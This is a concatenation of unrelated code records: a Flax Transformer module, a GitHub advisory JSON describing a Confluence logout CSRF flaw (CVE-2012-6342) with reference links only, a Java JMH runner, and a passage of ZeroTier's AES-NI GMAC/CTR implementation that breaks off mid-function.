# See the License for the specific language governing permissions and
# limitations under the License.
"""Modules for Transformer encoder and layers."""
from typing import Callable
import flax.linen as nn
from language.mentionmemory.modules import attention
from language.mentionmemory.modules import mlp
from language.mentionmemory.utils import default_values
from language.mentionmemory.utils.custom_types import Array, Dtype, InitType # pylint: disable=g-multiple-import
class TransformerLayer(nn.Module):
"""Transformer layer.
Attributes:
model_dim: dimensionality of model
intermediate_dim: dimensionality of MLP block intermediate representation
num_heads: number of attention heads
dropout_rate: dropout rate
dtype: datatype of computation
layer_norm_epsilon: numerical stability parameter of layer norm.
kernel_init: weight initializer function
bias_init: bias initializer function
"""
model_dim: int
intermediate_dim: int
num_heads: int
dropout_rate: float
dtype: Dtype
kernel_init: InitType = default_values.kernel_init
bias_init: InitType = default_values.bias_init
layer_norm_epsilon: float = default_values.layer_norm_epsilon
def setup(self):
self.attention_block = attention.AttentionBlock(
model_dim=self.model_dim,
num_heads=self.num_heads,
dropout_rate=self.dropout_rate,
dtype=self.dtype,
kernel_init=self.kernel_init,
bias_init=self.bias_init,
layer_norm_epsilon=self.layer_norm_epsilon,
)
self.mlp_block = mlp.MLPBlock(
input_dim=self.model_dim,
hidden_dim=self.intermediate_dim,
dropout_rate=self.dropout_rate,
dtype=self.dtype,
kernel_init=self.kernel_init,
bias_init=self.bias_init,
layer_norm_epsilon=self.layer_norm_epsilon,
)
def __call__(
self,
encoding: Array,
attention_mask: Array,
deterministic: bool,
) -> Array:
"""Transformer layer forward.
Args:
encoding: [bsz, seq_len, model_dim] model state.
attention_mask: [bsz, seq_len].
deterministic: if true, do not apply dropout.
Returns:
updated encoding
"""
encoding = self.attention_block(
encoding=encoding,
attention_mask=attention_mask,
deterministic=deterministic)
encoding = self.mlp_block(x=encoding, deterministic=deterministic)
return encoding
class LayerSequence(nn.Module):
"""Contains multiple encoder layers of same type.
Layers should take an encoding as input and produce an encoding as the output.
Attributes:
num_layers: number of layers.
layer_factory: method which produces layer when called.
"""
num_layers: int
layer_factory: Callable[..., nn.Module]
def setup(self):
self.layers = [self.layer_factory() for _ in range(self.num_layers)]
def __call__(self, encoding: Array, *args, **kwargs):
for layer in self.layers:
encoding = layer(encoding, *args, **kwargs)
return encoding
class TransformerBlock(nn.Module):
"""Block of Transformer layers.
Attributes:
num_layers: number of Transformer layers.
model_dim: dimensionality of model.
intermediate_dim: dimensionality of MLP block intermediate representation.
num_heads: number of attention heads.
dropout_rate: dropout rate.
dtype: datatype of computation.
kernel_init: weight initializer function.
bias_init: bias initializer function.
layer_norm_epsilon: numerical stability parameter of layer norm.
"""
num_layers: int
model_dim: int
intermediate_dim: int
num_heads: int
dropout_rate: float
dtype: Dtype
kernel_init: InitType = default_values.kernel_init
bias_init: InitType = default_values.bias_init
layer_norm_epsilon: float = default_values.layer_norm_epsilon
def setup(self):
def layer_factory():
return TransformerLayer(
model_dim=self.model_dim,
intermediate_dim=self.intermediate_dim,
num_heads=self.num_heads,
dropout_rate=self.dropout_rate,
dtype=self.dtype,
kernel_init=self.kernel_init,
bias_init=self.bias_init,
layer_norm_epsilon=self.layer_norm_epsilon,
)
self.layer_sequence = LayerSequence(
num_layers=self.num_layers,
layer_factory=layer_factory,
)
def __call__(
self,
encoding: Array,
attention_mask: Array,
deterministic: bool,
) -> Array:
"""Transformer layer forward.
Args:
encoding: [bsz, seq_len, model_dim] model state.
attention_mask: [bsz, seq_len].
deterministic: if true, do not apply dropout.
Returns:
Updated encoding.
"""
return self.layer_sequence(
encoding=encoding,
attention_mask=attention_mask,
deterministic=deterministic,
)
| 1,973 |
892 | {
"schema_version": "1.2.0",
"id": "GHSA-v22m-xr3c-679j",
"modified": "2022-05-03T00:01:27Z",
"published": "2022-05-03T00:01:27Z",
"aliases": [
"CVE-2012-6342"
],
"details": "Cross-site request forgery (CSRF) vulnerability in logout.action in Atlassian Confluence 3.4.6 allows remote attackers to hijack the authentication of administrators for requests that logout the user via a comment.",
"severity": [
],
"affected": [
],
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2012-6342"
},
{
"type": "WEB",
"url": "https://jira.atlassian.com/browse/CONFSERVER-22784"
},
{
"type": "WEB",
"url": "http://archives.neohapsis.com/archives/bugtraq/2013-01/0066.html"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/116829/Atlassian-Confluence-3.0-Cross-Site-Request-Forgery.html"
},
{
"type": "WEB",
"url": "http://www.halock.com/blog/cve-2012-6342-atlassian-confluence-multiple-cross-site-request-forgery-csrf-vulnerabilities"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/524217/30/450/threaded"
}
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"severity": "MODERATE",
"github_reviewed": false
}
} | 616 |
751 | <filename>common/reactive-grpc-benchmarks/src/main/java/com/salesforce/reactivegrpc/jmh/JMHRunner.java
/*
* Copyright (c) 2019, Salesforce.<EMAIL>, Inc.
* All rights reserved.
* Licensed under the BSD 3-Clause license.
* For full license text, see LICENSE.txt file in the repo root or https://opensource.org/licenses/BSD-3-Clause
*/
package com.salesforce.reactivegrpc.jmh;
import java.io.IOException;
import org.openjdk.jmh.runner.RunnerException;
/**
* The main entry point for running the Reactive-gRPC performance test suite.
*/
public final class JMHRunner {
private JMHRunner() { }
public static void main(String... args) throws IOException, RunnerException {
org.openjdk.jmh.Main.main(args);
}
}
| 258 |
8,205 | <reponame>sundys/ZeroTierOne<gh_stars>1000+
/*
* Copyright (c)2013-2020 ZeroTier, Inc.
*
* Use of this software is governed by the Business Source License included
* in the LICENSE.TXT file in the project's root directory.
*
* Change Date: 2025-01-01
*
* On the date above, in accordance with the Business Source License, use
* of this software will be governed by version 2.0 of the Apache License.
*/
/****/
#include "Constants.hpp"
#include "AES.hpp"
#ifdef ZT_AES_AESNI
#ifdef __GNUC__
#pragma GCC diagnostic ignored "-Wstrict-aliasing"
#endif
namespace ZeroTier {
namespace {
const __m128i s_sseSwapBytes = _mm_set_epi8(0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15);
#ifdef __GNUC__
__attribute__((__target__("ssse3,sse4,sse4.1,sse4.2,pclmul")))
#endif
__m128i p_gmacPCLMUL128(const __m128i h, __m128i y) noexcept
{
y = _mm_shuffle_epi8(y, s_sseSwapBytes);
__m128i t1 = _mm_clmulepi64_si128(h, y, 0x00);
__m128i t2 = _mm_clmulepi64_si128(h, y, 0x01);
__m128i t3 = _mm_clmulepi64_si128(h, y, 0x10);
__m128i t4 = _mm_clmulepi64_si128(h, y, 0x11);
t2 = _mm_xor_si128(t2, t3);
t3 = _mm_slli_si128(t2, 8);
t2 = _mm_srli_si128(t2, 8);
t1 = _mm_xor_si128(t1, t3);
t4 = _mm_xor_si128(t4, t2);
__m128i t5 = _mm_srli_epi32(t1, 31);
t1 = _mm_or_si128(_mm_slli_epi32(t1, 1), _mm_slli_si128(t5, 4));
t4 = _mm_or_si128(_mm_or_si128(_mm_slli_epi32(t4, 1), _mm_slli_si128(_mm_srli_epi32(t4, 31), 4)), _mm_srli_si128(t5, 12));
t5 = _mm_xor_si128(_mm_xor_si128(_mm_slli_epi32(t1, 31), _mm_slli_epi32(t1, 30)), _mm_slli_epi32(t1, 25));
t1 = _mm_xor_si128(t1, _mm_slli_si128(t5, 12));
t4 = _mm_xor_si128(_mm_xor_si128(_mm_xor_si128(_mm_xor_si128(_mm_xor_si128(t4, _mm_srli_si128(t5, 4)), t1), _mm_srli_epi32(t1, 2)), _mm_srli_epi32(t1, 7)), _mm_srli_epi32(t1, 1));
return _mm_shuffle_epi8(t4, s_sseSwapBytes);
}
/* Disable VAES stuff on compilers too old to compile these intrinsics,
* and MinGW64 also seems not to support them so disable on Windows.
* The performance gain can be significant but regular SSE is already so
* fast it's highly unlikely to be a rate limiting factor except on massive
* servers and network infrastructure stuff. */
#if !defined(__WINDOWS__) && ((__GNUC__ >= 8) || (__clang_major__ >= 7))
#define ZT_AES_VAES512 1
#ifdef __GNUC__
__attribute__((__target__("sse4,aes,avx,avx2,vaes,avx512f,avx512bw")))
#endif
void p_aesCtrInnerVAES512(unsigned int &len, const uint64_t c0, uint64_t &c1, const uint8_t *&in, uint8_t *&out, const __m128i *const k) noexcept
{
const __m512i kk0 = _mm512_broadcast_i32x4(k[0]);
const __m512i kk1 = _mm512_broadcast_i32x4(k[1]);
const __m512i kk2 = _mm512_broadcast_i32x4(k[2]);
const __m512i kk3 = _mm512_broadcast_i32x4(k[3]);
const __m512i kk4 = _mm512_broadcast_i32x4(k[4]);
const __m512i kk5 = _mm512_broadcast_i32x4(k[5]);
const __m512i kk6 = _mm512_broadcast_i32x4(k[6]);
const __m512i kk7 = _mm512_broadcast_i32x4(k[7]);
const __m512i kk8 = _mm512_broadcast_i32x4(k[8]);
const __m512i kk9 = _mm512_broadcast_i32x4(k[9]);
const __m512i kk10 = _mm512_broadcast_i32x4(k[10]);
const __m512i kk11 = _mm512_broadcast_i32x4(k[11]);
const __m512i kk12 = _mm512_broadcast_i32x4(k[12]);
const __m512i kk13 = _mm512_broadcast_i32x4(k[13]);
const __m512i kk14 = _mm512_broadcast_i32x4(k[14]);
do {
__m512i p0 = _mm512_loadu_si512(reinterpret_cast<const __m512i *>(in));
__m512i d0 = _mm512_set_epi64(
(long long)Utils::hton(c1 + 3ULL), (long long)c0,
(long long)Utils::hton(c1 + 2ULL), (long long)c0,
(long long)Utils::hton(c1 + 1ULL), (long long)c0,
(long long)Utils::hton(c1), (long long)c0);
c1 += 4;
in += 64;
len -= 64;
d0 = _mm512_xor_si512(d0, kk0);
d0 = _mm512_aesenc_epi128(d0, kk1);
d0 = _mm512_aesenc_epi128(d0, kk2);
d0 = _mm512_aesenc_epi128(d0, kk3);
d0 = _mm512_aesenc_epi128(d0, kk4);
d0 = _mm512_aesenc_epi128(d0, kk5);
d0 = _mm512_aesenc_epi128(d0, kk6);
d0 = _mm512_aesenc_epi128(d0, kk7);
d0 = _mm512_aesenc_epi128(d0, kk8);
d0 = _mm512_aesenc_epi128(d0, kk9);
d0 = _mm512_aesenc_epi128(d0, kk10);
d0 = _mm512_aesenc_epi128(d0, kk11);
d0 = _mm512_aesenc_epi128(d0, kk12);
d0 = _mm512_aesenc_epi128(d0, kk13);
d0 = _mm512_aesenclast_epi128(d0, kk14);
_mm512_storeu_si512(reinterpret_cast<__m512i *>(out), _mm512_xor_si512(p0, d0));
out += 64;
} while (likely(len >= 64));
}
#define ZT_AES_VAES256 1
#ifdef __GNUC__
__attribute__((__target__("sse4,aes,avx,avx2,vaes")))
#endif
void p_aesCtrInnerVAES256(unsigned int &len, const uint64_t c0, uint64_t &c1, const uint8_t *&in, uint8_t *&out, const __m128i *const k) noexcept
{
const __m256i kk0 = _mm256_broadcastsi128_si256(k[0]);
const __m256i kk1 = _mm256_broadcastsi128_si256(k[1]);
const __m256i kk2 = _mm256_broadcastsi128_si256(k[2]);
const __m256i kk3 = _mm256_broadcastsi128_si256(k[3]);
const __m256i kk4 = _mm256_broadcastsi128_si256(k[4]);
const __m256i kk5 = _mm256_broadcastsi128_si256(k[5]);
const __m256i kk6 = _mm256_broadcastsi128_si256(k[6]);
const __m256i kk7 = _mm256_broadcastsi128_si256(k[7]);
const __m256i kk8 = _mm256_broadcastsi128_si256(k[8]);
const __m256i kk9 = _mm256_broadcastsi128_si256(k[9]);
const __m256i kk10 = _mm256_broadcastsi128_si256(k[10]);
const __m256i kk11 = _mm256_broadcastsi128_si256(k[11]);
const __m256i kk12 = _mm256_broadcastsi128_si256(k[12]);
const __m256i kk13 = _mm256_broadcastsi128_si256(k[13]);
const __m256i kk14 = _mm256_broadcastsi128_si256(k[14]);
do {
__m256i p0 = _mm256_loadu_si256(reinterpret_cast<const __m256i *>(in));
__m256i p1 = _mm256_loadu_si256(reinterpret_cast<const __m256i *>(in + 32));
__m256i d0 = _mm256_set_epi64x(
(long long)Utils::hton(c1 + 1ULL), (long long)c0,
(long long)Utils::hton(c1), (long long)c0);
__m256i d1 = _mm256_set_epi64x(
(long long)Utils::hton(c1 + 3ULL), (long long)c0,
(long long)Utils::hton(c1 + 2ULL), (long long)c0);
c1 += 4;
in += 64;
len -= 64;
d0 = _mm256_xor_si256(d0, kk0);
d1 = _mm256_xor_si256(d1, kk0);
d0 = _mm256_aesenc_epi128(d0, kk1);
d1 = _mm256_aesenc_epi128(d1, kk1);
d0 = _mm256_aesenc_epi128(d0, kk2);
d1 = _mm256_aesenc_epi128(d1, kk2);
d0 = _mm256_aesenc_epi128(d0, kk3);
d1 = _mm256_aesenc_epi128(d1, kk3);
d0 = _mm256_aesenc_epi128(d0, kk4);
d1 = _mm256_aesenc_epi128(d1, kk4);
d0 = _mm256_aesenc_epi128(d0, kk5);
d1 = _mm256_aesenc_epi128(d1, kk5);
d0 = _mm256_aesenc_epi128(d0, kk6);
d1 = _mm256_aesenc_epi128(d1, kk6);
d0 = _mm256_aesenc_epi128(d0, kk7);
d1 = _mm256_aesenc_epi128(d1, kk7);
d0 = _mm256_aesenc_epi128(d0, kk8);
d1 = _mm256_aesenc_epi128(d1, kk8);
d0 = _mm256_aesenc_epi128(d0, kk9);
d1 = _mm256_aesenc_epi128(d1, kk9);
d0 = _mm256_aesenc_epi128(d0, kk10);
d1 = _mm256_aesenc_epi128(d1, kk10);
d0 = _mm256_aesenc_epi128(d0, kk11);
d1 = _mm256_aesenc_epi128(d1, kk11);
d0 = _mm256_aesenc_epi128(d0, kk12);
d1 = _mm256_aesenc_epi128(d1, kk12);
d0 = _mm256_aesenc_epi128(d0, kk13);
d1 = _mm256_aesenc_epi128(d1, kk13);
d0 = _mm256_aesenclast_epi128(d0, kk14);
d1 = _mm256_aesenclast_epi128(d1, kk14);
_mm256_storeu_si256(reinterpret_cast<__m256i *>(out), _mm256_xor_si256(d0, p0));
_mm256_storeu_si256(reinterpret_cast<__m256i *>(out + 32), _mm256_xor_si256(d1, p1));
out += 64;
} while (likely(len >= 64));
}
#endif // does compiler support AVX2 and AVX512 AES intrinsics?
#ifdef __GNUC__
__attribute__((__target__("ssse3,sse4,sse4.1,sse4.2,aes,pclmul")))
#endif
__m128i p_init256_1_aesni(__m128i a, __m128i b) noexcept
{
__m128i x, y;
b = _mm_shuffle_epi32(b, 0xff);
y = _mm_slli_si128(a, 0x04);
x = _mm_xor_si128(a, y);
y = _mm_slli_si128(y, 0x04);
x = _mm_xor_si128(x, y);
y = _mm_slli_si128(y, 0x04);
x = _mm_xor_si128(x, y);
x = _mm_xor_si128(x, b);
return x;
}
#ifdef __GNUC__
__attribute__((__target__("ssse3,sse4,sse4.1,sse4.2,aes,pclmul")))
#endif
__m128i p_init256_2_aesni(__m128i a, __m128i b) noexcept
{
__m128i x, y, z;
y = _mm_aeskeygenassist_si128(a, 0x00);
z = _mm_shuffle_epi32(y, 0xaa);
y = _mm_slli_si128(b, 0x04);
x = _mm_xor_si128(b, y);
y = _mm_slli_si128(y, 0x04);
x = _mm_xor_si128(x, y);
y = _mm_slli_si128(y, 0x04);
x = _mm_xor_si128(x, y);
x = _mm_xor_si128(x, z);
return x;
}
} // anonymous namespace
#ifdef __GNUC__
__attribute__((__target__("ssse3,sse4,sse4.1,sse4.2,pclmul")))
#endif
void AES::GMAC::p_aesNIUpdate(const uint8_t *in, unsigned int len) noexcept
{
__m128i y = _mm_loadu_si128(reinterpret_cast<const __m128i *>(_y));
// Handle anything left over from a previous run that wasn't a multiple of 16 bytes.
if (_rp) {
for (;;) {
if (!len)
return;
--len;
_r[_rp++] = *(in++);
if (_rp == 16) {
y = p_gmacPCLMUL128(_aes.p_k.ni.h[0], _mm_xor_si128(y, _mm_loadu_si128(reinterpret_cast<__m128i *>(_r))));
break;
}
}
}
if (likely(len >= 64)) {
const __m128i sb = s_sseSwapBytes;
const __m128i h = _aes.p_k.ni.h[0];
const __m128i hh = _aes.p_k.ni.h[1];
const __m128i hhh = _aes.p_k.ni.h[2];
const __m128i hhhh = _aes.p_k.ni.h[3];
const __m128i h2 = _aes.p_k.ni.h2[0];
const __m128i hh2 = _aes.p_k.ni.h2[1];
const __m128i hhh2 = _aes.p_k.ni.h2[2];
const __m128i hhhh2 = _aes.p_k.ni.h2[3];
const uint8_t *const end64 = in + (len & ~((unsigned int)63));
len &= 63U;
do {
__m128i d1 = _mm_shuffle_epi8(_mm_xor_si128(y, _mm_loadu_si128(reinterpret_cast<const __m128i *>(in))), sb);
__m128i d2 = _mm_shuffle_epi8(_mm_loadu_si128(reinterpret_cast<const __m128i *>(in + 16)), sb);
__m128i d3 = _mm_shuffle_epi8(_mm_loadu_si128(reinterpret_cast<const __m128i *>(in + 32)), sb);
__m128i d4 = _mm_shuffle_epi8(_mm_loadu_si128(reinterpret_cast<const __m128i *>(in + 48)), sb);
in += 64;
__m128i a = _mm_xor_si128(_mm_xor_si128(_mm_clmulepi64_si128(hhhh, d1, 0x00), _mm_clmulepi64_si128(hhh, d2, 0x00)), _mm_xor_si128(_mm_clmulepi64_si128(hh, d3, 0x00), _mm_clmulepi64_si128(h, d4, 0x00)));
__m128i b = _mm_xor_si128(_mm_xor_si128(_mm_clmulepi64_si128(hhhh, d1, 0x11), _mm_clmulepi64_si128(hhh, d2, 0x11)), _mm_xor_si128(_mm_clmulepi64_si128(hh, d3, 0x11), _mm_clmulepi64_si128(h, d4, 0x11)));
__m128i c = _mm_xor_si128(_mm_xor_si128(_mm_xor_si128(_mm_clmulepi64_si128(hhhh2, _mm_xor_si128(_mm_shuffle_epi32(d1, 78), d1), 0x00), _mm_clmulepi64_si128(hhh2, _mm_xor_si128(_mm_shuffle_epi32(d2, 78), d2), 0x00)), _mm_xor_si128(_mm_clmulepi64_si128(hh2, _mm_xor_si128(_mm_shuffle_epi32(d3, 78), d3), 0x00), _mm_clmulepi64_si128(h2, _mm_xor_si128(_mm_shuffle_epi32(d4, 78), d4), 0x00))), _mm_xor_si128(a, b));
a = _mm_xor_si128(_mm_slli_si128(c, 8), a);
b = _mm_xor_si128(_mm_srli_si128(c, 8), b);
c = _mm_srli_epi32(a, 31);
a = _mm_or_si128(_mm_slli_epi32(a, 1), _mm_slli_si128(c, 4));
b = _mm_or_si128(_mm_or_si128(_mm_slli_epi32(b, 1), _mm_slli_si128(_mm_srli_epi32(b, 31), 4)), _mm_srli_si128(c, 12));
c = _mm_xor_si128(_mm_slli_epi32(a, 31), _mm_xor_si128(_mm_slli_epi32(a, 30), _mm_slli_epi32(a, 25)));
a = _mm_xor_si128(a, _mm_slli_si128(c, 12));
b = _mm_xor_si128(b, _mm_xor_si128(a, _mm_xor_si128(_mm_xor_si128(_mm_srli_epi32(a, 1), _mm_srli_si128(c, 4)), _mm_xor_si128(_mm_srli_epi32(a, 2), _mm_srli_epi32(a, 7)))));
y = _mm_shuffle_epi8(b, sb);
} while (likely(in != end64));
}
while (len >= 16) {
y = p_gmacPCLMUL128(_aes.p_k.ni.h[0], _mm_xor_si128(y, _mm_loadu_si128(reinterpret_cast<const __m128i *>(in))));
in += 16;
len -= 16;
}
_mm_storeu_si128(reinterpret_cast<__m128i *>(_y), y);
// Any overflow is cached for a later run or finish().
for (unsigned int i = 0; i < len; ++i)
_r[i] = in[i];
_rp = len; // len is always less than 16 here
}
#ifdef __GNUC__
__attribute__((__target__("ssse3,sse4,sse4.1,sse4.2,pclmul,aes")))
#endif
void AES::GMAC::p_aesNIFinish(uint8_t tag[16]) noexcept
{
__m128i y = _mm_loadu_si128(reinterpret_cast<const __m128i *>(_y));
// Handle any remaining bytes, padding the last block with zeroes.
if (_rp) {
while (_rp < 16)
_r[_rp++] = 0;
y = p_gmacPCLMUL128(_aes.p_k.ni.h[0], _mm_xor_si128(y, _mm_loadu_si128(reinterpret_cast<__m128i *>(_r))));
}
// Interleave encryption of IV with the final GHASH of y XOR (length * 8).
// Then XOR these together to get the final tag.
const __m128i *const k = _aes.p_k.ni.k;
const __m128i h = _aes.p_k.ni.h[0];
y = _mm_xor_si128(y, _mm_set_epi64x(0LL, (long long)Utils::hton((uint64_t)_len << 3U)));
y = _mm_shuffle_epi8(y, s_sseSwapBytes);
__m128i encIV = _mm_xor_si128(_mm_loadu_si128(reinterpret_cast<const __m128i *>(_iv)), k[0]);
__m128i t1 = _mm_clmulepi64_si128(h, y, 0x00);
__m128i t2 = _mm_clmulepi64_si128(h, y, 0x01);
__m128i t3 = _mm_clmulepi64_si128(h, y, 0x10);
__m128i t4 = _mm_clmulepi64_si128(h, y, 0x11);
encIV = _mm_aesenc_si128(encIV, k[1]);
t2 = _mm_xor_si128(t2, t3);
t3 = _mm_slli_si128(t2, 8);
encIV = _mm_aesenc_si128(encIV, k[2]);
t2 = _mm_srli_si128(t2, 8);
t1 = _mm_xor_si128(t1, t3);
encIV = _mm_aesenc_si128(encIV, k[3]);
t4 = _mm_xor_si128(t4, t2);
__m128i t5 = _mm_srli_epi32(t1, 31);
t1 = _mm_slli_epi32(t1, 1);
__m128i t6 = _mm_srli_epi32(t4, 31);
encIV = _mm_aesenc_si128(encIV, k[4]);
t4 = _mm_slli_epi32(t4, 1);
t3 = _mm_srli_si128(t5, 12);
encIV = _mm_aesenc_si128(encIV, k[5]);
t6 = _mm_slli_si128(t6, 4);
t5 = _mm_slli_si128(t5, 4);
encIV = _mm_aesenc_si128(encIV, k[6]);
t1 = _mm_or_si128(t1, t5);
t4 = _mm_or_si128(t4, t6);
encIV = _mm_aesenc_si128(encIV, k[7]);
t4 = _mm_or_si128(t4, t3);
t5 = _mm_slli_epi32(t1, 31);
encIV = _mm_aesenc_si128(encIV, k[8]);
t6 = _mm_slli_epi32(t1, 30);
t3 = _mm_slli_epi32(t1, 25);
encIV = _mm_aesenc_si128(encIV, k[9]);
t5 = _mm_xor_si128(t5, t6);
t5 = _mm_xor_si128(t5, t3);
encIV = _mm_aesenc_si128(encIV, k[10]);
t6 = _mm_srli_si128(t5, 4);
t4 = _mm_xor_si128(t4, t6);
encIV = _mm_aesenc_si128(encIV, k[11]);
t5 = _mm_slli_si128(t5, 12);
t1 = _mm_xor_si128(t1, t5);
t4 = _mm_xor_si128(t4, t1);
t5 = _mm_srli_epi32(t1, 1);
encIV = _mm_aesenc_si128(encIV, k[12]);
t2 = _mm_srli_epi32(t1, 2);
t3 = _mm_srli_epi32(t1, 7);
encIV = _mm_aesenc_si128(encIV, k[13]);
t4 = _mm_xor_si128(t4, t2);
t4 = _mm_xor_si128(t4, t3);
encIV = _mm_aesenclast_si128(encIV, k[14]);
t4 = _mm_xor_si128(t4, t5);
_mm_storeu_si128(reinterpret_cast<__m128i *>(tag), _mm_xor_si128(_mm_shuffle_epi8(t4, s_sseSwapBytes), encIV));
}
#ifdef __GNUC__
__attribute__((__target__("ssse3,sse4,sse4.1,sse4.2,aes")))
#endif
void AES::CTR::p_aesNICrypt(const uint8_t *in, uint8_t *out, unsigned int len) noexcept
{
const __m128i dd = _mm_set_epi64x(0, (long long)_ctr[0]);
uint64_t c1 = Utils::ntoh(_ctr[1]);
const __m128i *const k = _aes.p_k.ni.k;
const __m128i k0 = k[0];
const __m128i k1 = k[1];
const __m128i k2 = k[2];
const __m128i k3 = k[3];
const __m128i k4 = k[4];
const __m128i k5 = k[5];
const __m128i k6 = k[6];
const __m128i k7 = k[7];
const __m128i k8 = k[8];
const __m128i k9 = k[9];
const __m128i k10 = k[10];
const __m128i k11 = k[11];
const __m128i k12 = k[12];
const __m128i k13 = k[13];
const __m128i k14 = k[14];
// Complete any unfinished blocks from previous calls to crypt().
unsigned int totalLen = _len;
if ((totalLen & 15U)) {
for (;;) {
if (unlikely(!len)) {
_ctr[1] = Utils::hton(c1);
_len = totalLen;
return;
}
--len;
out[totalLen++] = *(in++);
if (!(totalLen & 15U)) {
__m128i d0 = _mm_insert_epi64(dd, (long long)Utils::hton(c1++), 1);
d0 = _mm_xor_si128(d0, k0);
d0 = _mm_aesenc_si128(d0, k1);
d0 = _mm_aesenc_si128(d0, k2);
d0 = _mm_aesenc_si128(d0, k3);
d0 = _mm_aesenc_si128(d0, k4);
d0 = _mm_aesenc_si128(d0, k5);
d0 = _mm_aesenc_si128(d0, k6);
d0 = _mm_aesenc_si128(d0, k7);
d0 = _mm_aesenc_si128(d0, k8);
d0 = _mm_aesenc_si128(d0, k9);
d0 = _mm_aesenc_si128(d0, k10);
__m128i *const outblk = reinterpret_cast<__m128i *>(out + (totalLen - 16));
d0 = _mm_aesenc_si128(d0, k11);
const __m128i p0 = _mm_loadu_si128(outblk);
d0 = _mm_aesenc_si128(d0, k12);
d0 = _mm_aesenc_si128(d0, k13);
d0 = _mm_aesenclast_si128(d0, k14);
_mm_storeu_si128(outblk, _mm_xor_si128(p0, d0));
break;
}
}
}
out += totalLen;
_len = totalLen + len;
if (likely(len >= 64)) {
#if defined(ZT_AES_VAES512) && defined(ZT_AES_VAES256)
if (Utils::CPUID.vaes && (len >= 256)) {
if (Utils::CPUID.avx512f) {
p_aesCtrInnerVAES512(len, _ctr[0], c1, in, out, k);
} else {
p_aesCtrInnerVAES256(len, _ctr[0], c1, in, out, k);
}
goto skip_conventional_aesni_64;
}
#endif
#if !defined(ZT_AES_VAES512) && defined(ZT_AES_VAES256)
if (Utils::CPUID.vaes && (len >= 256)) {
p_aesCtrInnerVAES256(len, _ctr[0], c1, in, out, k);
goto skip_conventional_aesni_64;
}
#endif
const uint8_t *const eof64 = in + (len & ~((unsigned int)63));
len &= 63;
__m128i d0, d1, d2, d3;
do {
const uint64_t c10 = Utils::hton(c1);
const uint64_t c11 = Utils::hton(c1 + 1ULL);
const uint64_t c12 = Utils::hton(c1 + 2ULL);
const uint64_t c13 = Utils::hton(c1 + 3ULL);
d0 = _mm_insert_epi64(dd, (long long)c10, 1);
d1 = _mm_insert_epi64(dd, (long long)c11, 1);
d2 = _mm_insert_epi64(dd, (long long)c12, 1);
d3 = _mm_insert_epi64(dd, (long long)c13, 1);
c1 += 4;
d0 = _mm_xor_si128(d0, k0);
d1 = _mm_xor_si128(d1, k0);
d2 = _mm_xor_si128(d2, k0);
d3 = _mm_xor_si128(d3, k0);
d0 = _mm_aesenc_si128(d0, k1);
d1 = _mm_aesenc_si128(d1, k1);
d2 = _mm_aesenc_si128(d2, k1);
d3 = _mm_aesenc_si128(d3, k1);
d0 = _mm_aesenc_si128(d0, k2);
d1 = _mm_aesenc_si128(d1, k2);
d2 = _mm_aesenc_si128(d2, k2);
d3 = _mm_aesenc_si128(d3, k2);
d0 = _mm_aesenc_si128(d0, k3);
d1 = _mm_aesenc_si128(d1, k3);
d2 = _mm_aesenc_si128(d2, k3);
d3 = _mm_aesenc_si128(d3, k3);
d0 = _mm_aesenc_si128(d0, k4);
d1 = _mm_aesenc_si128(d1, k4);
d2 = _mm_aesenc_si128(d2, k4);
d3 = _mm_aesenc_si128(d3, k4);
d0 = _mm_aesenc_si128(d0, k5);
d1 = _mm_aesenc_si128(d1, k5);
d2 = _mm_aesenc_si128(d2, k5);
d3 = _mm_aesenc_si128(d3, k5);
d0 = _mm_aesenc_si128(d0, k6);
d1 = _mm_aesenc_si128(d1, k6);
d2 = _mm_aesenc_si128(d2, k6);
d3 = _mm_aesenc_si128(d3, k6);
d0 = _mm_aesenc_si128(d0, k7);
d1 = _mm_aesenc_si128(d1, k7);
d2 = _mm_aesenc_si128(d2, k7);
d3 = _mm_aesenc_si128(d3, k7);
d0 = _mm_aesenc_si128(d0, k8);
d1 = _mm_aesenc_si128(d1, k8);
d2 = _mm_aesenc_si128(d2, k8);
d3 = _mm_aesenc_si128(d3, k8);
d0 = _mm_aesenc_si128(d0, k9);
d1 = _mm_aesenc_si128(d1, k9);
d2 = _mm_aesenc_si128(d2, k9);
d3 = _mm_aesenc_si128(d3, k9);
d0 = _mm_aesenc_si128(d0, k10);
d1 = _mm_aesenc_si128(d1, k10);
d2 = _mm_aesenc_si128(d2, k10);
d3 = _mm_aesenc_si128(d3, k10);
d0 = _mm_aesenc_si128(d0, k11);
d1 = _mm_aesenc_si128(d1, k11);
d2 = _mm_aesenc_si128(d2, k11);
d3 = _mm_aesenc_si128(d3, k11);
d0 = _mm_aesenc_si128(d0, k12);
d1 = _mm_aesenc_si128(d1, k12);
d2 = _mm_aesenc_si128(d2, k12);
d3 = _mm_aesenc_si128(d3, k12);
d0 = _mm_aesenc_si128(d0, k13);
d1 = _mm_aesenc_si128(d1, k13);
d2 = _mm_aesenc_si128(d2, k13);
d3 = _mm_aesenc_si128(d3, k13);
d0 = _mm_xor_si128(_mm_aesenclast_si128(d0, k14), _mm_loadu_si128(reinterpret_cast<const __m128i *>(in)));
d1 = _mm_xor_si128(_mm_aesenclast_si128(d1, k14), _mm_loadu_si128(reinterpret_cast<const __m128i *>(in + 16)));
d2 = _mm_xor_si128(_mm_aesenclast_si128(d2, k14), _mm_loadu_si128(reinterpret_cast<const __m128i *>(in + 32)));
d3 = _mm_xor_si128(_mm_aesenclast_si128(d3, k14), _mm_loadu_si128(reinterpret_cast<const __m128i *>(in + 48)));
in += 64;
_mm_storeu_si128(reinterpret_cast<__m128i *>(out), d0);
_mm_storeu_si128(reinterpret_cast<__m128i *>(out + 16), d1);
_mm_storeu_si128(reinterpret_cast<__m128i *>(out + 32), d2);
_mm_storeu_si128(reinterpret_cast<__m128i *>(out + 48), d3);
out += 64;
} while (likely(in != eof64));
}
skip_conventional_aesni_64:
while (len >= 16) {
__m128i d0 = _mm_insert_epi64(dd, (long long)Utils::hton(c1++), 1);
d0 = _mm_xor_si128(d0, k0);
d0 = _mm_aesenc_si128(d0, k1);
d0 = _mm_aesenc_si128(d0, k2);
d0 = _mm_aesenc_si128(d0, k3);
d0 = _mm_aesenc_si128(d0, k4);
d0 = _mm_aesenc_si128(d0, k5);
